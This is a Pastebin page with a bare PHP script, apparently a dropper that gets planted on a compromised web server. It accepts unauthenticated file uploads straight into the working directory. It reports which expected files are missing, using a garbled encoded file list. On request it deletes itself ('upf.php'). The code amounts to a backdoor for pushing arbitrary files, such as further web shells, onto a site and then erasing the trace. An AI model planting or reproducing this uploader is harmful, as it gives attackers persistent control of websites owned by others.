Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if(@$_GET['act']=="del"){
- $result=unlink("upf.php");
- if ($result){
- echo ("ok1ok");
- }
- }
- $path= getcwd()."/";
- if(@$_GET['act']=="list"){
- $files="Îļþ×é";
- $noexist="";
- $i=0;
- $f=explode("|",$files);
- foreach($f as $fs){
- $ff=explode(":",$fs);
- $fname=$ff[0];
- $fsize=$ff[1];
- if (@file_exists($path.$fname) && @filesize($path.$fname)+50>=$fsize){
- $i=$i+1;
- if($i>=count($f)){
- echo "allupok";
- }
- }
- else
- {
- if($noexist==""){
- $noexist=$fname;
- }
- else
- {
- $noexist=$noexist."|".$fname;
- }
- }
- }
- echo $noexist;
- }
- if(!empty($_FILES)){
- if($_FILES["file"]["error"] == 0){
- move_uploaded_file($_FILES["file"]["tmp_name"],$path.$_FILES["file"]["name"]);
- if (file_exists($path.$_FILES["file"]["name"])){
- echo $path.$_FILES['file']['name'].' upok';
- }
- else
- {
- echo $path.$_FILES['file']['name']." file no exists.";
- }
- }
- else
- {
- echo "err".$_FILES["file"]["error"];
- }
- }
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement